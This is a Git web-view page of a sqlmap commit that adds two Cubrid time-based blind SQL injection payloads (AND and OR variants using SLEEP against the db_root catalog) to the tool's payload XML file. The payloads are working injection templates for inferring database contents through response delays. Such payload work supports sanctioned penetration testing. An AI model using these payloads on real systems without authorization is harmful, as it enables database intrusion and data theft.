GithubStar/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2026-10-16 20:50:56 +08:00
Code Issues Packages Projects Releases Wiki Activity

Adding Cubrid time-based payloads

Browse Source
This commit is contained in:
Miroslav Štampar
2026-07-26 22:47:22 +02:00
parent ca608da2f1
commit 13e956ca64
2 changed files with 40 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files
data/xml/payloads/time_blind.xml
+39
View File
@@ -1092,6 +1092,45 @@
</details>
</test>
<test>
<title>CUBRID AND time-based blind (SLEEP)</title>
<stype>5</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<!-- db_root (Cubrid-only catalog) anchors SLEEP so it fires only on Cubrid, not on MySQL which also has SLEEP -->
<vector>AND [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
<request>
<payload>AND [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Cubrid</dbms>
</details>
</test>
<test>
<title>CUBRID OR time-based blind (SLEEP)</title>
<stype>5</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
<request>
<payload>OR [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Cubrid</dbms>
</details>
</test>
<test>
<title>Firebird &gt;= 2.0 AND time-based blind (heavy query)</title>
<stype>5</stype>